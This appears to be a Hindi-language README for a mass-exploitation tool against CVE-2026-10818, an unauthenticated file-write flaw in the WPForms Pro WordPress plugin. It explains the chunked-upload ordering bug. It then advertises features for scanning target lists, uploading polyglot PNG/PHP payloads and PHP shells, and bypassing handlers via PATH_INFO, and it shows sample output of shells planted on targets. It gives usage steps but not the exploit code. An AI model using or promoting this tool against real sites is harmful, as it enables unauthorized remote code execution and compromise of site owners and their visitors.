CVE-2026-10818

WPForms Pro <= 1.10.1.1 - खंडित अपलोड Init/Finalize क्रम के माध्यम से बिना प्रमाणीकरण के मनमाना फ़ाइल लेखन

CVE-2026-10818

WPForms Pro ≤ 1.10.1.1 — खंडित अपलोड के माध्यम से बिना प्रमाणीकरण के मनमाना फ़ाइल लेखन

प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट
_{खंडित अपलोड Init/Finalize क्रम → पूर्वानुमानित पथ प्रकटीकरण → रिमोट कोड निष्पादन}

भेद्यता अवलोकन

फ़ील्ड	विवरण
सीवीई आईडी	CVE-2026-10818
प्रभावित प्लगिन	WPForms Pro (WordPress)
प्रभावित संस्करण	1.10.1.1 तक के सभी संस्करण
प्रकार	बिना प्रमाणीकरण के मनमाना फ़ाइल लेखन
CWE	CWE-434: खतरनाक प्रकार वाली फ़ाइल का अप्रतिबंधित अपलोड
CVSS 3.1	8.1 उच्च — `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H`
प्रमाणीकरण	कोई आवश्यक नहीं

WordPress के लिए WPForms Pro प्लगिन ajax_chunk_upload_finalize फ़ंक्शन के माध्यम से 1.10.1.1 तक के सभी संस्करणों में मनमाना फ़ाइल अपलोड भेद्यता के प्रति संवेदनशील है। ऐसा इसलिए है क्योंकि फ़ाइल प्रकार सत्यापन चंक मेटाडेटा और फ़ाइल सामग्री के डिस्क पर लिखे जाने के बाद होता है, और सत्यापन विफल होने पर इकट्ठी की गई फ़ाइल हटाई नहीं जाती। यह बिना प्रमाणीकरण वाले हमलावरों के लिए ऐसी फ़ाइलें अपलोड करना संभव बनाता है जो निष्पादन योग्य हो सकती हैं, जिससे रिमोट कोड निष्पादन संभव हो जाता है।

मूल कारण

wpforms_upload_chunk_init     →  Metadata created BEFORE extension validation
wpforms_upload_chunk          →  Chunk bytes written regardless of init result
wpforms_file_chunks_uploaded  →  File assembled BEFORE type validation
                              →  File persists on disk even when validation fails

भेद्यता श्रृंखला खंडित अपलोड जीवनचक्र में एक महत्वपूर्ण क्रम दोष का शोषण करती है:

Init फ़ाइल एक्सटेंशन की अनुमति है या नहीं, यह जाँचने से पहले डिस्क पर मेटाडेटा बनाता है
Chunk मेटाडेटा लोड करता है और कच्चे बाइट्स को एक पूर्वानुमानित पथ (SHA1(UUID)-0.chunk) पर लिखता है
Finalize MIME प्रकार सत्यापित करने से पहले अंतिम फ़ाइल को इकट्ठा करता है — और विफलता पर सफाई नहीं करता
तीनों AJAX एंडपॉइंट्स में से किसी पर भी नॉन्स सत्यापन लागू नहीं होता
तीनों रूट बिना प्रमाणीकरण वाले आगंतुकों के लिए पंजीकृत हैं (wp_ajax_nopriv_*)

विशेषताएँ

मल्टी-टार्गेट स्कैनिंग — लक्ष्यों की एक सूची फ़ीड करें, समवर्ती रूप से संसाधित
स्वचालित फ़ॉर्म खोज — WPForms अपलोड फ़ील्ड का पता लगाने के लिए पेज, साइटमैप और 100+ सामान्य पथों को क्रॉल करता है
संस्करण पहचान — संवेदनशील WPForms संस्करणों की पहचान करने के लिए readme.txt और HTML स्रोत पढ़ता है
AJAX रूट सत्यापन — आगे बढ़ने से पहले wpforms_upload_chunk_init की बाहरी पहुँच की पुष्टि करता है
दोहरी अपलोड रणनीति:
- अंतिम रूप से पूर्ण अपलोड (init → chunk → finalize) सुरक्षित और निष्पादन योग्य दोनों एक्सटेंशन के साथ
- केवल-चंक अपलोड (init → chunk, finalize छोड़ें) SHA1(UUID) के माध्यम से निर्धारणात्मक फ़ाइल पथों के लिए
पूर्वानुमानित पथ गणना — अनुमान के बिना सटीक चंक URL प्राप्त करने के लिए SHA1(client-controlled UUID) की गणना करता है
डायरेक्ट्री लिस्टिंग डिफ — नई लिखी गई फ़ाइलों की पहचान करने के लिए exec अपलोड से पहले और बाद में /wpforms/tmp/ के स्नैपशॉट लेता है
हैश लीक निष्कर्षण — <32hex>.<ext> फ़ाइलनाम पैटर्न के लिए सभी प्रतिक्रिया निकायों और हेडर को स्कैन करता है
निष्पादन सत्यापन — प्रतिक्रिया निकाय में अद्वितीय हस्ताक्षर की जाँच करके वास्तविक PHP निष्पादन की पुष्टि करता है, स्थिर फ़ाइल सर्विंग और स्रोत कोड प्रकटीकरण को फ़िल्टर करता है
PATH_INFO प्रोबिंग — गैर-PHP एक्सटेंशन पर PHP निष्पादन ट्रिगर करने के लिए सर्वर-हैंडलर बायपास (.chunk/x.php, /.php) का प्रयास करता है
पॉलीग्लॉट पेलोड — IEND चंक के बाद एम्बेडेड PHP के साथ मान्य PNG छवियाँ उत्पन्न करता है
पेशेवर आउटपुट — प्रति-लक्ष्य स्थिति ट्रैकिंग के साथ रीयल-टाइम रंग-कोडित टर्मिनल डिस्प्ले

आवश्यकताएँ

Python >= 3.8

pip install requests urllib3 beautifulsoup4

beautifulsoup4 वैकल्पिक है लेकिन अधिक विश्वसनीय फ़ॉर्म फ़ील्ड निष्कर्षण के लिए अनुशंसित है।

उपयोग

python CVE-2026-10818.py

आपसे निम्नलिखित के लिए संकेत दिया जाएगा:

संकेत	विवरण	डिफ़ॉल्ट
लक्ष्य फ़ाइल	एक टेक्स्ट फ़ाइल का पथ जिसमें प्रति पंक्ति एक लक्ष्य हो	`list.txt`
थ्रेड्स	समवर्ती कार्यकर्ताओं की संख्या (1–20)	`5`

लक्ष्य फ़ाइल प्रारूप

https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress

प्रति पंक्ति एक URL। http://, https://, बेयर डोमेन, IP, और सबडायरेक्ट्री इंस्टॉलेशन का समर्थन करता है।

आउटपुट

टर्मिनल

  ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
  ┃                                                                ┃
  ┃      ██▄    ██  ██  ██                                         ┃
  ┃      ████   ██   ████                                          ┃
  ┃      ██ ██  ██    ██                                           ┃
  ┃      ██  ████   ████                                           ┃
  ┃      ██   ███  ██  ██                                          ┃
  ┃                                                                ┃
  ┃      Nxploited  ━  Khaled Alenazi  ━  T.m @Kxploit             ┃
  ┣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
  ┃      CVE-2026-10818     WPForms Pro ≤ 1.10.1.1                 ┃
  ┃      Chunked Upload → Predictable Path → RCE                  ┃
  ┃      Results ━▸ Nx_hit/                                        ┃
  ┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛

स्कैन के दौरान, प्रत्येक लक्ष्य लेबल किए गए चरणों से गुजरता है:

  02:14:52  ◆  target.com                        VER  WPForms 1.9.3.1 vulnerable
  02:14:53  ◆  target.com                       FORM  1 upload form(s) on /contact
  02:14:53  ◆  target.com                     UPLOAD  6 safe + 5 exec payloads
  02:14:55  ◆  target.com                        FIN  poly_png → a8f3...1b22.png URL returned
  02:14:57  ◆  target.com                        DIR  listing enabled, 4 file(s) before exec upload
  02:14:59  ◐  target.com                       EXEC  shell_php → finalized on disk (hash unknown)
  02:15:01  ◆  target.com                        DIR  1 NEW exec file(s) after upload!

  ●  target.com  SHELL  dir-new:7c4f...e8a1.php  https://target.com/wp-content/uploads/wpforms/tmp/7c4f...e8a1.php

परिणाम फ़ाइलें

सभी परिणाम Nx_hit/ में सहेजे जाते हैं:

फ़ाइल	सामग्री
`Nx_shell.txt`	पुष्टि किया गया RCE — URL, लेबल, और प्रतिक्रिया निकाय पूर्वावलोकन
`Nx_vuln.txt`	निष्पादन सत्यापन के बिना पुष्टि किया गया मनमाना फ़ाइल लेखन

सारांश

  ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
  ┃  COMPLETE   150 targets processed                              ┃
  ┃                                                                ┃
  ┃  ● 3 shell     ◐ 12 vuln     ○ 85 skip     ✗ 50 miss          ┃
  ┃                                                                ┃
  ┃  Results ━▸ Nx_hit/                                            ┃
  ┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛

प्रतीक	अर्थ
`●` shell	रिमोट लक्ष्य पर PHP निष्पादन की पुष्टि हुई
`◐` vuln	फ़ाइल डिस्क पर लिखी गई, निष्पादन की पुष्टि नहीं हुई
`○` skip	लक्ष्य अप्राप्य है, पैच किया गया है, या कोई अपलोड फ़ॉर्म नहीं मिला
`✗` miss	अपलोड प्रयास विफल रहे

CVE-2026-10818

सबसे लोकप्रिय

CVE-2026-10818

CVE-2026-10818

WPForms Pro ≤ 1.10.1.1 — खंडित अपलोड के माध्यम से बिना प्रमाणीकरण के मनमाना फ़ाइल लेखन

भेद्यता अवलोकन

मूल कारण

विशेषताएँ

आवश्यकताएँ

उपयोग

लक्ष्य फ़ाइल प्रारूप

आउटपुट

टर्मिनल

परिणाम फ़ाइलें

सारांश

स्कैन पाइपलाइन